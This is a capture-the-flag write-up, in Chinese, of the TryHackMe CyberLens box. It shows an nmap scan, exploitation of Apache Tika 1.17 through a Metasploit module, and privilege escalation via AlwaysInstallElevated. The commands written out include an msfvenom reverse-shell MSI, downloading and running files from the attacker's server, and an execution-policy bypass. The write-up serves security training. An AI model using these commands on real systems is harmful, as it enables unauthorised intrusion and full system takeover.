THM CyberLens

本文最后更新于:2025年3月8日 下午

[THM] CyberLens

Getshell

nmap扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
# Nmap 7.95 scan initiated Wed Mar  5 23:21:10 2025 as: /usr/lib/nmap/nmap -sS -Pn -v -p- -T4 -A -oN portscan.nmap 10.10.60.132
Increasing send delay for 10.10.60.132 from 0 to 5 due to 1357 out of 3392 dropped probes since last increase.
Increasing send delay for 10.10.60.132 from 5 to 10 due to 11 out of 17 dropped probes since last increase.
Nmap scan report for cyberlens.thm (10.10.60.132)
Host is up (0.13s latency).
Not shown: 65519 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.57 ((Win64))
|_http-title: CyberLens: Unveiling the Hidden Matrix
| http-methods:
| Supported Methods: OPTIONS HEAD GET POST TRACE
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.57 (Win64)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-03-06T04:35:13+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=CyberLens
| Issuer: commonName=CyberLens
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-03-05T04:15:35
| Not valid after: 2025-09-04T04:15:35
| MD5: 4de0:fcc9:680f:b184:29d8:1f45:a0de:2f46
|_SHA-1: e46b:f7ef:437b:fe70:0b37:bace:f6fa:4180:78da:fd3b
| rdp-ntlm-info:
| Target_Name: CYBERLENS
| NetBIOS_Domain_Name: CYBERLENS
| NetBIOS_Computer_Name: CYBERLENS
| DNS_Domain_Name: CyberLens
| DNS_Computer_Name: CyberLens
| Product_Version: 10.0.17763
|_ System_Time: 2025-03-06T04:35:05+00:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
49677/tcp open msrpc Microsoft Windows RPC
61777/tcp open http Jetty 8.y.z-SNAPSHOT
|_http-server-header: Jetty(8.y.z-SNAPSHOT)
| http-methods:
| Supported Methods: POST GET PUT OPTIONS HEAD
|_ Potentially risky methods: PUT
|_http-title: Site doesn't have a title (text/plain).
|_http-cors: HEAD GET
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=3/5%OT=80%CT=1%CU=43936%PV=Y%DS=4%DC=T%G=Y%TM=67C92601
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=2%ISR=10C%TI=I%CI=I%II=I%SS=S%TS=U
OS:)SEQ(SP=103%GCD=1%ISR=107%TI=I%CI=I%II=I%SS=S%TS=U)SEQ(SP=103%GCD=1%ISR=
OS:109%TI=I%CI=I%II=I%SS=S%TS=U)SEQ(SP=103%GCD=1%ISR=10C%TI=I%CI=I%II=I%SS=
OS:S%TS=U)SEQ(SP=108%GCD=1%ISR=10C%TI=I%CI=I%II=I%SS=S%TS=U)OPS(O1=M508NW8N
OS:NS%O2=M508NW8NNS%O3=M508NW8%O4=M508NW8NNS%O5=M508NW8NNS%O6=M508NNS)WIN(W
OS:1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)ECN(R=Y%DF=Y%T=80%W=FFFF%
OS:O=M508NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%
OS:T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD
OS:=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S
OS:=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R
OS:=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%
OS:RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)

Network Distance: 4 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2025-03-06T04:35:08
|_ start_date: N/A

TRACEROUTE (using port 8080/tcp)
HOP RTT ADDRESS
1 2.76 ms 10.2.0.1
2 ... 3
4 132.34 ms cyberlens.thm (10.10.60.132)

Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Mar 5 23:35:13 2025 -- 1 IP address (1 host up) scanned in 843.81 seconds
INI

可以发现存在很多常见的服务

8061777上有web服务

80端口上的web中有个文件上传功能,可以获取文件元数据,其功能由61777端口的服务提供:

访问61777查看,这是一个Apache Tika 1.17 Server

直接去搜索nday

Apache Tika 1.15 - 1.17 - Header Command Injection (Metasploit) - Windows remote Exploit

这是一个Metasploit的模块,所以接下来在Metasploit中继续

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
msf6 exploit(windows/http/apache_tika_jp2_jscript) > set lhost tun0
lhost => 10.2.26.216
msf6 exploit(windows/http/apache_tika_jp2_jscript) > set RHOSTS cyberlens.thm
RHOSTS => cyberlens.thm
msf6 exploit(windows/http/apache_tika_jp2_jscript) > set rport 61777
rport => 61777
msf6 exploit(windows/http/apache_tika_jp2_jscript) > check
[+] 10.10.2.208:61777 - The target is vulnerable.
msf6 exploit(windows/http/apache_tika_jp2_jscript) > run
[*] Started reverse TCP handler on 10.2.26.216:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Sending PUT request to 10.10.2.208:61777/meta
[*] Command Stager progress - 8.10% done (7999/98798 bytes)
[*] Sending PUT request to 10.10.2.208:61777/meta
[*] Command Stager progress - 16.19% done (15998/98798 bytes)
[*] Sending PUT request to 10.10.2.208:61777/meta
[*] Command Stager progress - 24.29% done (23997/98798 bytes)
[*] Sending PUT request to 10.10.2.208:61777/meta
[*] Command Stager progress - 32.39% done (31996/98798 bytes)
[*] Sending PUT request to 10.10.2.208:61777/meta
[*] Command Stager progress - 40.48% done (39995/98798 bytes)
[*] Sending PUT request to 10.10.2.208:61777/meta
[*] Command Stager progress - 48.58% done (47994/98798 bytes)
[*] Sending PUT request to 10.10.2.208:61777/meta
[*] Command Stager progress - 56.67% done (55993/98798 bytes)
[*] Sending PUT request to 10.10.2.208:61777/meta
[*] Command Stager progress - 64.77% done (63992/98798 bytes)
[*] Sending PUT request to 10.10.2.208:61777/meta
[*] Command Stager progress - 72.87% done (71991/98798 bytes)
[*] Sending PUT request to 10.10.2.208:61777/meta
[*] Command Stager progress - 80.96% done (79990/98798 bytes)
[*] Sending PUT request to 10.10.2.208:61777/meta
[*] Command Stager progress - 89.06% done (87989/98798 bytes)
[*] Sending PUT request to 10.10.2.208:61777/meta
[*] Command Stager progress - 97.16% done (95988/98798 bytes)
[*] Sending PUT request to 10.10.2.208:61777/meta
[*] Command Stager progress - 100.00% done (98798/98798 bytes)
[*] Sending stage (177734 bytes) to 10.10.2.208
[*] Meterpreter session 1 opened (10.2.26.216:4444 -> 10.10.2.208:49711) at 2025-03-06 00:03:56 -0500

meterpreter >
IDL

user flag

在用户桌面中找到userflag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
C:\Users\CyberLens\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is A8A4-C362

Directory of C:\Users\CyberLens\Desktop

06/06/2023 07:53 PM <DIR> .
06/06/2023 07:53 PM <DIR> ..
06/21/2016 03:36 PM 527 EC2 Feedback.website
06/21/2016 03:36 PM 554 EC2 Microsoft Windows Guide.website
06/06/2023 07:54 PM 25 user.txt
3 File(s) 1,106 bytes
2 Dir(s) 14,954,463,232 bytes free

C:\Users\CyberLens\Desktop>type user.txt
type user.txt
THM{****************}
POWERSHELL

admin flag

使用脚本PrivescCheck搜集提权信息

在攻击机上启动一个http服务,将脚本放在对应文件夹中

1
python3 -m http.server 8000
SHELL

在靶机上下载

1
2
3
powershell -ep bypass	# 启动一个powershell会话
IWR -Uri http://10.2.26.216:8000/PrivescCheck.ps1 -OutFile PrivescCheck.ps1 # 下载
. .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended # 运行
POWERSHELL

PrivescCheck运行最后会出一个总结

1
2
3
4
5
6
7
8
9
10
11
12
13
????????????????????????????????????????????????????????????????
? ~~~ PrivescCheck Summary ~~~ ?
????????????????????????????????????????????????????????????????
TA0003 - Persistence
- UEFI & Secure Boot Low
- COM server missing module files Low
TA0004 - Privilege Escalation
- Root folder permissions Low
- AlwaysInstallElevated High
- Latest updates installed Medium
TA0006 - Credential Access
- LSA Protection Low
- Credential Guard Low
POWERSHELL

注意到唯一的一条High

1
- AlwaysInstallElevated  High
POWERSHELL

这表示系统的“始终以管理员身份安装”设置被启用,允许任何安装程序以最高权限运行。

为了利用这一条进行提权,需要生成一个msi木马在靶机上运行

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.2.26.216 LPORT=4445 -a x64 --platform Windows -f msi -o evil.msi		# 生成msi马
SHELL

开一个新的msf并在其中启动一个监听器

1
2
3
4
5
6
7
8
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost tun0
lhost => tun0
msf6 exploit(multi/handler) > set lport 4445
lport => 4445
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.2.26.216:4445
PGSQL

在靶机上下载msi马并运行

1
Invoke-WebRequest -Uri http://10.2.26.216:8000/evil.msi -OutFile evil.msi; Start-Process evil.msi -Wait
POWERSHELL

拿到高权限shell

1
2
3
4
5
6
7
8
9
10
11
12
13
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.2.26.216:4445
[*] Command shell session 1 opened (10.2.26.216:4445 -> 10.10.17.174:49810) at 2025-03-08 00:45:41 -0500


Shell Banner:
Microsoft Windows [Version 10.0.17763.1821]
-----


C:\Windows\system32>whoami
whoami
nt authority\system
POWERSHELL

在管理员桌面找到admin flag

1
2
3
C:\Users\Administrator\Desktop>type admin.txt
type admin.txt
THM{****************}
POWERSHELL

THM CyberLens
http://example.com/2025/03/08/[THM]CyberLens/
作者
sawtooth384
发布于
2025年3月8日
许可协议